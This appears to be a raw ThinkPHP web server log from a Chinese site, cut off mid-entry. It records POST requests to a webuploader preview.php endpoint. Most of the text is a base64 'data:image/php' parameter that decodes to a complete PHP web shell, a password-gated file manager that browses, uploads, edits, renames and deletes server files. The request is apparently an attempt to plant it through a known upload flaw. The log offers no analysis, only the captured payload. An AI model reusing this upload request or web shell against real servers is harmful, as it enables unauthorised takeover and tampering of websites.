=> array ( 0 => 'index', 1 => 'lib', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:04:59+08:00 ] 116.213.36.234 POST 51tianwei.com/library/webuploader/0.1.15/server/preview.php [运行时间:0.002651s] [吞吐率:377.22req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'library', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; 